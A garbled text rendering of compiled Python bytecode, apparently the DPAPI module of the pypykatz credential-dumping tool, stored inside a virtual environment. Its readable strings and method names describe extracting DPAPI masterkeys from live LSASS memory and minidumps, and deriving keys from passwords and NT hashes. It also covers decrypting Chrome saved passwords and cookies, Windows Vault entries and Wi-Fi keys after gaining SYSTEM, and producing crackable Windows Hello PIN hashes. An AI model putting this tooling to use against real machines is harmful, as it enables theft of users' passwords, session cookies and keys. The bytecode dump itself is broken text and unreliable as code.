o
    j                     @   s|  d dl Z d dlZd dlZd dlZd dlZd dlZd dlZd dlZd dlm	Z	m
Z
mZ d dlm  mZ d dlmZ d dlmZ d dlmZmZ d dlmZ d dlmZmZmZ d dlmZmZ d d	l m!Z! d d
l"m#Z$ d dl%m&Z&m'Z'm(Z( d dl)m*Z* d dl+m,Z,m-Z- d dl.m/Z/m0Z0 d dl1m2Z2 e3 4 dkrd dl5m6Z6 	 G dd dZ7g ddfddZ8dd Z9e:dkre9  dS dS )    N)sha1pbkdf2_hmacsha512)logger)MasterKeyFile)CredentialFileCREDENTIAL_BLOB)
DPAPI_BLOB)
VAULT_VCRD
VAULT_VPOLVAULT_VPOL_KEYS)NGCProtectorFinderNGCProtector)CryptoKeysFinder)md4)AESMODE_GCMMODE_CBC)PVKFile)CryptoAPIKeyFileCryptoAPIKeyProperties)UniversalEncoderbase64_decode_url)PKCS1v15windows)ProcessManipulatorc                   @   s
  e Zd ZdoddZdpddZdd Zd	d
 ZdpddZdd ZdqddZ	dd Z
dd ZdpddZdd Zdd Zdd Zdd Zdpdd Zdrd"efd#d$Zdpd%d&Zd'd( Zd)d* Zdpd+d,Zdsd-d.Zdsd/d0Zd1d2 Zd3d4 Zd5d6 Zdpd7d8Zd9d: Zdpd;d<Zd=d> Z d?d@ Z!e"dAdB Z#e"dCdD Z$e"dEdF Z%e"dGdH Z&e"dIdJ Z'e"dKdL Z(e"dMdN Z)e"dOdP Z*dQdR Z+dodSdTZ,dUdV Z-e"dWdX Z.e"dYdZ Z/e"d[d\ Z0e"dtd^e1fd_d`Z2dadb Z3dcdd Z4dedf Z5e"dgdh Z6didj Z7dkdl Z8dmdn Z9dS )uDPAPIFc                 C   s"   || _ i | _i | _i | _g | _d S N)
use_winapiprekeys
masterkeys
backupkeys
vault_keys)selfr    r$   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/pypykatz/dpapi/dpapi.py__init__i   s
   
zDPAPI.__init__Nc                 C   sv   |d u r| j D ]}t|  qd S t|ddd}| j D ]}|| d  qW d    d S 1 s4w   Y  d S )Nw newlinez
)r   printhexopenwrite)r#   filenamexfr$   r$   r%   dump_pre_keysu   s   

"zDPAPI.dump_pre_keysc              
   C   s   zt |d W n ty$ } zt|}d| j|< W Y d }~d S d }~ww t |d}|D ]}| }d| jt|< q-W d    d S 1 sGw   Y  d S )Nr   )r-   	Exceptionbytesfromhexr   strip)r#   r/   ekeyr1   liner$   r$   r%   load_prekeys~   s   

"zDPAPI.load_prekeysc                 C   s`   ddl m} t|d}| d d }W d    n1 sw   Y  ||d}td|  d S )Nr   )UUIDrb   )bytes_lez	[GUID] %s)uuidr=   r-   readr+   )r#   r/   r=   r1   bguidr$   r$   r%   dump_preferred_masterkey_guid   s   
z#DPAPI.dump_preferred_masterkey_guidc              	   C   s   |d u r,| j D ]}td|| j |  f  q| jD ]}td|| j|  f  qd S t|ddd}| j | jd}|tj|tddd	 W d    d S 1 sRw   Y  d S )
Nz[GUID] %s [MASTERKEY] %sz[GUID] %s [BACKUPKEY] %sr'   r(   r)   )r    r!      T)clsindent	sort_keys)	r    r+   r,   r!   r-   r.   jsondumpsr   )r#   r/   r0   r1   tr$   r$   r%   dump_masterkeys   s   

"zDPAPI.dump_masterkeysc                 C   s   t |d}t| }W d    n1 sw   Y  |d D ]}t|d | | j|< q |d D ]}t|d | | j|< q3d S )Nr3   r!   r    )r-   rJ   loadsrB   r6   r7   r!   r    )r#   r/   r1   datarD   r$   r$   r%   load_masterkeys   s   zDPAPI.load_masterkeysc              
   C   s  |du r|du r|du rt d|du r,|r t|tr t|}|r,t|tr,t|}d } } }}|s:|dkrNt|d}	|	 }t|d }|r`t	
||d dt }|}|rt	
||d dt }td||dd}
td|
|dddd	 }t	
||d dt dd
 }d}||||fD ]}|durd| j|< td||||| f  |d7 }q||||fS )a  
		Creates pre-masterkeys from user SID and password of nt hash.
		If NT hash is provided the function can only generate 2 out of the 3 possible keys, 
		this is because one of the derived keys relies ion the SHA1 hash of the user password
		
		sid: user's SID as a string
		password: user's password. optional. if not provided, then NT hash must be provided
		nt_hash: user's NT hash. optional if not provided, the password must be provided
		Nz.Provide either password, NT hash or SHA1 hash!r(   zutf-16le sha256i'  r4   r?      zPrekey_%d %s %s %s %s)r5   
isinstancestrr6   r7   MD4encodedigestr   hmacnewr   r   r   debugr,   )r#   sidpasswordnt_hash	sha1_hashkey1key2key3key4ctxtmp_key	tmp_key_2countr:   r$   r$   r%   get_prekeys_from_password   s6   


$

zDPAPI.get_prekeys_from_passwordc                 C   s  g }g }ddl m} ddlm} |jrI|jjD ]1}t|||frHtd|j  td|j	  d| j
|j< ||j d| j
|j	< ||j	 q|jdur|jjD ]/}|jrd|jj|jf }| j||jd\}}	}
}td	||	|
f  ||	 ||
 qRqR||fS )
a  
		Gets the pre-keys from an already parsed OffineRegistry or LiveRegistry object, populates the userkey/machinekey lists, returns the obtained keys
		
		lr: OffineRegistry or LiveRegistry object
		return: touple of two lists, [0] userkeys [1] machinekeys
		r   )LSASecretDPAPIz1[DPAPI] Found DPAPI user key in registry! Key: %sz4[DPAPI] Found DPAPI machine key in registry! Key: %sr4   Nz%s-%s)r^   zJ[DPAPI] NT hash method. Calculated user key for user %s! Key2: %s Key3: %s)!pypykatz.registry.security.commonri   "pypykatz.registry.security.acommonsecuritycached_secretsrT   r   r[   user_keymachine_keyr   appendsamsecretsr^   machine_sidridrh   )r#   lrusermachineri   ALSASecretDPAPIsecretr\   r0   ra   rb   yr$   r$   r%   get_registry_secrets   s2   


zDPAPI.get_registry_secretsc                 C   s   ddl m} ddlm} d}z| }W n5 tyI } z)td z| }W n ty> } ztd W Y d}~nd}~ww W Y d}~nd}~ww |durS| 	|S td)B
		
		return: touple of two lists, [0] userkeys [1] machinekeys
		r   )LiveRegistryOffineRegistryNzL[DPAPI] Failed to obtain registry secrets via direct registry reading methodz=[DPAPI] Failed to obtain registry secrets via filedump methodzRegistry parsing failed!)
pypykatz.registry.live_parserr}    pypykatz.registry.offline_parserr   go_liver5   r   r[   from_live_systemr{   )r#   r}   r   ru   r9   r$   r$   r%   get_prekeys_form_registry_live   s$   

z$DPAPI.get_prekeys_form_registry_livec              
   C   sr   ddl m} d}z
|j|||d}W n ty+ } ztd|  W Y d}~nd}~ww |dur5| |S td)r|   r   r~   N)sam_pathsecurity_pathzX[DPAPI] Failed to obtain registry secrets via direct registry reading method. Reason: %sz [DPAPI] Registry parsing failed!)r   r   
from_filesr5   r   errorr{   )r#   system_pathr   r   r   ru   r9   r$   r$   r%   get_prekeys_form_registry_files  s   
z%DPAPI.get_prekeys_form_registry_filesc                    s  ddl m} |   fdd jD } jD ]t} j| jD ]}td|j  t	|j
| j|j< q j|  D ]O\
}}}}}}	}}}}
| dkrNq; j| jg}|D ] }|
dure| j||
dd |durwt|d	krw| j|d|d qW|	durt|	d
krd| jt	|	< q;qdS )z
		Parses the live LSASS process and extracts the plaintext masterkeys, and also generates prekeys from all available credentials
		It does not retun anything, just sets up all key material in the object
		return: None
		r   pypykatzc                    s   g | ]} j | jqS r$   )logon_sessionsr\   ).0r0   katzr$   r%   
<listcomp>*  s    z6DPAPI.get_all_keys_from_lsass_live.<locals>.<listcomp>7[DPAPI] Got masterkey for GUID %s via live LSASS methoddpapiNr]   r^       (   r4   )pypykatz.pypykatzr   r   r   dpapi_credsr   r[   key_guidr6   r7   	masterkeyr    to_grep_rowslowerr\   rh   lenr   )r#   r   sidsr0   dcpackage_nthexlmhexshahex	plaintextr\   r$   r   r%   get_all_keys_from_lsass_live"  s,   
&z"DPAPI.get_all_keys_from_lsass_livec                 C   s\   ddl m} | }|jD ]}|j| jD ]}td|j  t	|j
| j|j< qq| jS )zs
		Parses the live LSASS process and extracts the plaintext masterkeys
		
		return: dictionary of guid->keybytes
		r   r   r   )r   r   r   r   r   r   r[   r   r6   r7   r   r    )r#   r   r   r0   r   r$   r$   r%   get_masterkeys_from_lsass_live>  s   
z$DPAPI.get_masterkeys_from_lsass_livec                 C   s  ddl m} ||}|jD ]}|j| jD ]}td|j  t	|j
| j|j< qq|j|  D ]O\
}}}}}	}
}}}}| dkrFq3|j| jg}|D ] }|dur]| j||dd |durot|dkro| j|d|d qO|
durt|
dkrd	| jt	|
< q3| jS )
z
		Parses the mindiump of an LSASS process file and extracts the plaintext masterkeys
		
		file_path: path to the mindiump file
		return: dictionary of guid->keybytes
		r   r   z;[DPAPI] Got masterkey for GUID %s via minidump LSASS methodr   Nr   r   r   r4   )r   r   parse_minidump_filer   r   r   r[   r   r6   r7   r   r    r   r   r\   rh   r   r   )r#   	file_pathr   r   r0   r   r   r   r   r   r   r   r   r\   r$   r$   r%   get_masterkeys_from_lsass_dumpM  s*   

&z$DPAPI.get_masterkeys_from_lsass_dumpc           
      C   s   t |d}| }W d   n1 sw   Y  t|}|jj}t| }|	|ddd t
 }|dd }	|	| j|j< | jS )zM
		Decrypting the masterkeyfile using the domain backup key in .pvk format
		r>   N   H   )r-   rB   r   
from_bytes	domainkeyry   r   	from_fileget_keydecryptr   r    rD   )
r#   mkffilepvkfilefprO   mkfdkprivkeydecdkry   r$   r$   r%   decrypt_masterkey_file_with_pvkk  s   

z%DPAPI.decrypt_masterkey_file_with_pvkc                 C   sd   t |d#}| j| |d\}}| j| | j| ||fW  d   S 1 s+w   Y  dS )z
		Decrypts Masterkeyfile
		file_path: path to Masterkeyfile
		key: raw bytes of the decryption key. If not supplied the function will look for keys already cached in the DPAPI object.
		returns: CREDENTIAL_BLOB object
		r>   )r:   N)r-   decrypt_masterkey_bytesrB   r    update)r#   r   r:   r1   mksbksr$   r$   r%   decrypt_masterkey_filey  s   $zDPAPI.decrypt_masterkey_fileTignore_errorsc                 C   s   t j tj|dddD ]1}tj|r=z| | W q ty< } z|du r)|td||f  W Y d}~qd}~ww q| j	S )z
		Decrypts all Masterkeyfiles in a directory
		directory: path to directory
		ignore_errors: if set to True, the function will not raise exceptions if a file cannot be decrypted
		returns: dictionary of guid->keybytes
		**T	recursiveFzFailed to decrypt %s Reason: %sN)
globospathjoinisfiler   r5   r   r[   r    )r#   	directoryr   r/   r9   r$   r$   r%   decrypt_masterkey_directory  s   z!DPAPI.decrypt_masterkey_directoryc                 C   sN  t |}i }i }|jdurY|j| jv r| j|j ||j< n;| jD ] }|j|}|rAtd|	   || j|j< |||j<  nq!|durY|j|}|rY|| j|j< |||j< |j
dur|j| jv rq| j|j ||j< ||fS | jD ]}|j
|}|r|| j|j< |||j<  nqt|dur|j
|}|r|| j|j< |||j< ||fS )z
		Decrypts Masterkeyfile bytes
		data: bytearray of the masterkeyfile
		key: bytes describing the key used for decryption
		returns: touple of dictionaries. [0] - > masterkey[guid] = key, [1] - > backupkey[guid] = key
		Nzuser key win: %s)r   r   r   rD   r    r   r   r   r[   r,   	backupkeyr!   )r#   rO   r:   r   r   r   rn   dec_keyr$   r$   r%   r     sH   








zDPAPI.decrypt_masterkey_bytesc                 C   <   t |d}| | W  d   S 1 sw   Y  dS )zc
		Decrypts CredentialFile
		file_path: path to CredentialFile
		returns: CREDENTIAL_BLOB object
		r>   N)r-   decrypt_credential_bytesrB   r#   r   r1   r$   r$   r%   decrypt_credential_file  s   $zDPAPI.decrypt_credential_filec                 C   s    |j | jvr
td| j|j  S )z{
		Looks up the masterkey for a given DPAPI_BLOB object
		blob: DPAPI_BLOB object
		returns: bytes of the decryption key
		z-No matching masterkey was found for the blob!)masterkey_guidr    r5   )r#   blobr$   r$   r%   get_key_for_blob  s   zDPAPI.get_key_for_blobc                 C   s(   t |}| j|j|d}t|}|S )ad  
		Decrypts CredentialFile bytes
		CredentialFile holds one DPAPI blob, so the decryption is straightforward, and it also has a known structure for the cleartext.
		Pay attention that the resulting CREDENTIAL_BLOB strucutre's fields can hold the secrets in wierd filenames like "unknown"
		
		data: CredentialFile bytes
		returns: CREDENTIAL_BLOB object
		entropy)r   r   decrypt_blob_bytesrO   r   )r#   rO   r   creddec_datacbr$   r$   r%   r     s   
	
zDPAPI.decrypt_credential_bytesc                 C   sL   |du rt d|j  |j| jvrtd|j | j|j }|j||dS )a  
		Decrypts a DPAPI_BLOB object
		The DPAPI blob has a GUID attributes which indicates the masterkey to be used, also it has integrity check bytes so it is possible to tell is decryption was sucsessfull.
		
		dpapi_blob: DPAPI_BLOB object
		key: raw bytes of the decryption key. If not supplied the function will look for keys already cached in the DPAPI object.
		returns: bytes of the cleartext data
		Nz+[DPAPI] Looking for master key with GUID %szANo matching masterkey was found for the blob! Looking for GUID %sr   )r   r[   r   r    r5   r   )r#   
dpapi_blobr:   r   r$   r$   r%   decrypt_blob  s   	zDPAPI.decrypt_blobc                 C   sF   | j du rddlm} ||S t|}tt| | j|||dS )zc
		Decrypts DPAPI_BLOB bytes.
		
		data: DPAPI_BLOB bytes
		returns: bytes of the cleartext data
		Tr   )CryptUnprotectData)r:   r   )	r   !pypykatz.dpapi.functiondefs.dpapir   r	   r   r   r[   rU   r   )r#   rO   r:   r   r   r   r$   r$   r%   r     s   

zDPAPI.decrypt_blob_bytesc                 C   r   )z
		Decrypts a VCRD file
		Location: %APPDATA%\Local\Microsoft\Vault\%GUID%\<>.vcrd
		
		file_path: path to the vcrd file
		returns: dictionary of attrbitues as key, and a list of possible decrypted data
		r>   N)r-   decrypt_vcrd_bytesrB   r   r$   r$   r%   decrypt_vcrd_file  s   $zDPAPI.decrypt_vcrd_filec                 C      t |}| |S )z
		Decrypts VCRD file bytes.
		
		data: VCRD file bytes
		returns: dictionary of attrbitues as key, and a list of possible decrypted data
		)r
   r   decrypt_vcrd)r#   rO   vvr$   r$   r%   r     s   

zDPAPI.decrypt_vcrd_bytesc                 C   sX   dd }i }t | jD ]\}}|jD ]}|||}||vr!g ||< || | qq|S )a  
		Decrypts the attributes found in a VCRD object, and returns the cleartext data candidates
		A VCRD file can have a lot of stored credentials inside, most of them with custom data strucutre
		It is not possible to tell if the decryption was sucsesssfull, so treat the result accordingly
		
		vcrd: VAULT_VCRD object
		key: bytes of the decryption key. optional. If not supplied the function will look for stored keys.
		returns: dictionary of attrbitues as key, and a list of possible decrypted data
		c                 S   sD   | j d ur | jd urt|t| j}nt|td}|| j }|S d S )Ns                   )rO   ivr   r   r   )attrr:   cipher	cleartextr$   r$   r%   decrypt_attr(  s   

z(DPAPI.decrypt_vcrd.<locals>.decrypt_attr)	enumerater"   
attributesrp   )r#   vcrdr   resir:   r   r   r$   r$   r%   r     s   


zDPAPI.decrypt_vcrdc                 C   s\   t |}| j|j|d}t|}| j|j  | j|j	  |j |j	 fS )z
		Decrypts the VPOL file, and returns the two keys' bytes
		A VPOL file stores two encryption keys.
		
		data: bytes of the VPOL file
		returns touple of bytes, describing two keys
		r   )
r   r   r   blobdatar   r"   rp   r`   r   ra   )r#   rO   r   vpolr   keysr$   r$   r%   decrypt_vpol_bytes;  s   

zDPAPI.decrypt_vpol_bytesc                 C   r   )z
		Decrypts a VPOL file
		Location: %APPDATA%\Local\Microsoft\Vault\%GUID%\<>.vpol
		
		file_path: path to the vcrd file
		keys: Optional.
		returns: touple of bytes, describing two keys
		r>   N)r-   r   rB   r   r$   r$   r%   decrypt_vpol_fileM  s   	$zDPAPI.decrypt_vpol_filec                 C   s   | j ||dS )Nr   )r   )r#   rO   r   r$   r$   r%   decrypt_securestring_bytesY  s   z DPAPI.decrypt_securestring_bytesc                 C   s   |  t|S r   )r   r6   r7   )r#   hex_strr$   r$   r%   decrypt_securestring_hex\  s   zDPAPI.decrypt_securestring_hexc                 C   s<   t |d}| }W d    n1 sw   Y  | |S )Nr3   )r-   rB   r   )r#   r   r1   rO   r$   r$   r%   decrypt_securestring_file_  s   

zDPAPI.decrypt_securestring_filec                  C   s   t  } t  }t || S r   )r   get_windows_dir_liveget_users_dir_livefind_masterkey_files_offline)windows_locuser_folderr$   r$   r%   find_masterkey_files_livee  s   zDPAPI.find_masterkey_files_livec                    s    fdd}i }t j tj|ddddddD ] | du r-td	    |t < qi }t j tj| d
ddD ] tj rHd| < q<dD ].}|D ])}t j tj|d|dddddD ] | du rw |t < td   qaqOqK|S )Nc                    sV   t j du r)t }|ddkrdS zt|dd W dS    Y dS dS )NT-r   Fr(   )	r   r   r   ntpathbasenamefindr6   r7   replace)fnamebaser/   r$   r%   is_guidn  s   
z3DPAPI.find_masterkey_files_offline.<locals>.is_guidSystem32	MicrosoftProtectr   Tr   zGUID SYSTEM FILE: %s*Fr4   LocalRoamingLocalLowAppDatazGUID USER FILE: %s)	r   r   r   r   r   r[   r   r   isdir)
users_pathwindows_pathr  masterkey_filesuser_folders	subfolderr   r$   r  r%   r   l  s,   "$z"DPAPI.find_masterkey_files_offlinec                  C   s6   t jd} t jd}t jd} |d t|   S )NUSERNAMEUSERPROFILE)r   environgetr   )usernameuserprofile_locr$   r$   r%   r     s   zDPAPI.get_users_dir_livec                   C   s   t jdS )N
SystemRootr   r  r  r$   r$   r$   r%   r     s   zDPAPI.get_windows_dir_livec                   C   s   t jdd S )NSystemDriver   r  r$   r$   r$   r%   get_windows_drive_live  s   zDPAPI.get_windows_drive_livec                   C      t t  S r   )r   !find_chrome_database_file_offliner   r$   r$   r$   r%   find_chrome_database_file_live     z$DPAPI.find_chrome_database_file_livec                 C   sd  i }i }t j tj| dddD ]}tj|r,t|}||vr%g ||< || | qdD ]}dD ]{}|D ]v}||vrAi ||< || D ]g}tj|d||ddd	d
}tj|du ri||| d< t	
d|  tj|d||ddd	d}	tj|	du r|	|| d< t	
d|	  tj|d||ddd}
tj|
du r|
|| d< t	
d|
  qEq7q3q/|S )Nr  Fr   r	  )r(   Googler  Chromez	User DataDefaultz
Login DataT	logindatazCHROME LOGINS DB FILE: %sCookiescookieszCHROME COOKIES DB FILE: %szLocal State
localstatezCHROME localstate FILE: %s)r   r   r   r   r  r   r   rp   r   r   r[   )r  db_pathsr  r/   r  subfolder_1subfolder_2r   db_pathdb_cookies_pathlocalstate_pathr$   r$   r%   r    s@   
z'DPAPI.find_chrome_database_file_offlinec              
   C   sr  i }g |d< g |d< g |d< zt | }| }W n ty4 } ztd|   |W  Y d }~S d }~ww | dkrxz|d W n ty_ } ztd| |f  |W  Y d }~S d }~ww | D ]\}}}}	|d 	||||	f qd|S | dkrz|d W n ty } ztd| |f  |W  Y d }~S d }~ww | D ]\}
}}|d 	|
||f q|S )	Nloginsr'  r(  z Failed to open chrome DB file %sz9SELECT host_key, name, path, encrypted_value FROM cookiesz4Failed perform query on chrome DB file %s Reason: %sr%  z=SELECT action_url, username_value, password_value FROM logins)
sqlite3connectcursorr5   r   r[   r   executefetchallrp   )r,  dbtyperesultsconnr2  r9   host_keynamer   encrypted_valueurlrv   enc_pwr$   r$   r%   get_chrome_encrypted_secret  sD   
z!DPAPI.get_chrome_encrypted_secretc                 C   s   t  }| |S r   )r   r   decrypt_all_chrome)r#   dbpathsr$   r$   r%   decrypt_all_chrome_live  s   
zDPAPI.decrypt_all_chrome_livec              
   C   s  i }g |d< g |d< g |d< d }|D ]5}d|| v r[t || d d}t|d d }t|}W d    n1 s=w   Y  z| |dd  }W n   |d	u rYtd
Y qd|| v rt|| d d}|d D ]r\}	}
}}|	dr|dd }|dd }|dd  }t
|t|dd}||d|}|d || d |	|
||f |d td|	 |
|| qo|r| |}|d || d |	|
||f |d td|	 |
|| qod|| v rHt|| d d}|d D ]P\}}}|	dr3|dd }|dd }|dd  }t
|t|dd}||d|}|d || d |||f q| |}|d || d |||f qq|S )Nr/  r'  
fmtcookiesr(  r3   os_cryptencrypted_key   TzLocalState decryption failed!s   v10      ir?   )IVsegment_size    zhttps://r%  )r-   rJ   loadbase64	b64decoder   r5   r   r=  
startswithr   r   r   rp   cookieformatter)r#   r?  throwr6  localstate_decr  r1   rC  rr   r8  r9  r   r:  nonce
ciphertexttagr   dec_valr;  rv   enc_passwordr]   r$   r$   r%   r>    s^   

  
  
 zDPAPI.decrypt_all_chromec              
   C   s   z|    W n	   td Y z|   W n ty- } ztd W Y d }~nd }~ww t }|D ]9}td||| f  | || \}}t|dksVt|dkrbtd||| f  q4td||| f  q4| j	| j
fS )Nz,Failed to get masterkeys/prekeys from LSASS!z/Failed to get masterkeys/prekeys from registry!z3Decrypting masterkeyfile with guid: %s location: %sr   z2Decrypted masterkeyfile with guid: %s location: %sz:Failed to decrypt masterkeyfile with guid: %s location: %s)r   r   r[   r   r5   r   r   r   r   r    r!   )r#   r9   mkfilesrD   mkbkr$   r$   r%   get_all_masterkeys_live%  s$   zDPAPI.get_all_masterkeys_livec                 C   sl   i }t | }| }|D ]&}|jdr|j|d< q|jdr3| D ]}|jdr2|j|d< q%q|S )Nz}namer9  z}MSMz}keyMaterialenckey)ETparsegetrootrS  endswithtextiter)filepathwifitreerootchildpcr$   r$   r%   parse_wifi_config_file;  s   

zDPAPI.parse_wifi_config_filec                 C   s>   g }t j | d ddD ]}|drt|}|| q|S )Nz6:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\**Tr   z.xml)r   r^  r   rg  rp   )system_drive_letterwifisr/   rb  r$   r$   r%   get_all_wifi_settings_offlineJ  s   


z#DPAPI.get_all_wifi_settings_offlinec                   C   r  r   )r   rj  r  r$   r$   r$   r%   get_all_wifi_settings_liveS  r!  z DPAPI.get_all_wifi_settings_live   r]   c                 C   sL   |du rdn|}|dkr|t | d 7 }|S |t| d 7 }|S )zaThis function generates the "extra" entropy based on the password and the provided entropy (opt).NrI  rl  z	utf-16-le)r   rW   rX   r   )r]   r   dtyper   r$   r$   r%   strongentropyW  s   zDPAPI.strongentropyc              
   c   sn    t  }z-z|  W n ty } ztd| d }~ww t D ]}| |V  q"W |  d S |  w )Nz<Failed to obtain SYSTEM privileges! Are you admin? Error: %s)r   	getsystemr5   r   rk  decrypt_wifi_config_file_inner
dropsystem)r#   pmr9   
wificonfigr$   r$   r%   decrypt_wifi_liveb  s   zDPAPI.decrypt_wifi_livec                 C   s2   d|v r|d dkr|  |d |d< |S d S d S )NrZ  r(   r:   )r   )r#   rs  r$   r$   r%   rp  q  s   z$DPAPI.decrypt_wifi_config_file_innerc                 C   r   r   )r   rg  rp  )r#   
configfilers  r$   r$   r%   decrypt_wifi_config_filev  s   

zDPAPI.decrypt_wifi_config_filec                 C   s"   | |||dddddddddddS )	zRThis is the data format the 'Cookie Quick Manager' uses to load cookies in FireFoxz26-05-2022 21:06:29
1653591989zAny type of connectionFlaxzfirefox-defaultr(   )zHost rawzName rawzPath rawzContent rawExpireszExpires rawzSend forzSend for rawzHTTP only rawzSameSite rawzThis domain onlyzThis domain only rawz	Store rawzFirst Party Domainr$   )hostr9  r   contentr$   r$   r%   rN  z  s   zDPAPI.cookieformatterc                 C   s,   t |dd}|dd  }t|}| |S )NT)bytes_expectedr   )r   r	   r   r   )r#   keyvalue_url_b64keyvaluekey_blobr$   r$   r%   decrypt_cloudap_key  s   

zDPAPI.decrypt_cloudap_keyc                 C   s:   t |}|di d}|d u rtd| |}|S )NProofOfPossesionKeyKeyValuezKeyValue not found in PRT)rJ   rN   r  r5   r  )r#   PRTprt_jsonr~  keyvalue_decr$   r$   r%   decrypt_cloudapkd_prt  s   

zDPAPI.decrypt_cloudapkd_prtc                 C   s   g }g }t |D ]}||j q	t|D ]`}|j|v rwtd|j  | j|jd dd}t	
|}t
|jd }|d j}	|d j}
d}d	|
 d
|	  d
|j  d
| |  d
|j  d
|j  d
|  }|| q|S )zVThis function presupposes that the DPAPI object already has all necessary keys loaded.zFound matching GUID: r4   s   6jnkd5J3ZdQDtrsu r   rl  NgcSoftwareKeyPbkdf2SaltNgcSoftwareKeyPbkdf2Rounds   xT5rZW5qVVbrvpuA z$WINHELLO$*SHA512*r  )r   from_dirrp   rD   r   descriptionr+   r   fieldsr   r   r	   valuer,   	signaturer   HMACto_sign)r#   ngc_dircryptokeys_dirr6  	pin_guidsentryproperties_raw
propertiesr   salt
iterationsr   hashcat_formatr$   r$   r%   winhello_pin_hash_offline  s"   



R
zDPAPI.winhello_pin_hash_offline)Fr   )NNN)T)NN)Nrl  ):__name__
__module____qualname__r&   r2   r<   rE   rM   rP   rh   r{   r   r   r   r   r   r   r   boolr   r   r   r   r   r   r   r   r   r   r   r   r   r   r   staticmethodr   r   r   r   r  r   r  r=  r@  r>  rY  rg  rj  rk  rU   rn  rt  rp  rv  rN  r  r  r  r$   r$   r$   r%   r   h   s    

	
	
-"


1	








!




"
&
5




	r   c                 C   sn   t  }|d ur|| |d ur|| d| v r|  d| v r)d| vr)|  d| v r5d| vr5|  |S )Nallregistrylsass)r   rP   r<   rY  r   r   )methodsr   pkfr   r$   r$   r%   prepare_dpapi_live  s   

r  c                  C   s   d} d}t  }|| | d S )NzN/mnt/hgfs/!SHARED/feature/masterkeyfile - 170d0d57-e0ae-4877-bab6-6f5af49d3e8eza/mnt/hgfs/!SHARED/feature/pvkfile - ntds_capi_0_fdf0c850-73d3-48cf-86b6-6beb609206c3.keyx.rsa.pvk)r   decrypt_mkf_with_pvk)r   r   r   r$   r$   r%   main  s   r  __main__);r   r   rJ   rY   r   r0  rK  platformhashlibr   r   r   xml.etree.ElementTreeetreeElementTreer[  r   r   'pypykatz.dpapi.structures.masterkeyfiler   (pypykatz.dpapi.structures.credentialfiler   r   pypykatz.dpapi.structures.blobr	   pypykatz.dpapi.structures.vaultr
   r   r   pypykatz.dpapi.finders.ngcr   r   !pypykatz.dpapi.finders.cryptokeysr   unicrypto.hashlibr   rV   unicrypto.symmetricr   r   r   winacl.dtyp.wcee.pvkfiler   winacl.dtyp.wcee.cryptoapikeyr   r   pypykatz.commons.commonr   r   1cryptography.hazmat.primitives.asymmetric.paddingr   systemr   *pypykatz.commons.winapi.processmanipulatorr   r   r  r  r  r$   r$   r$   r%   <module>   sL   
;      U
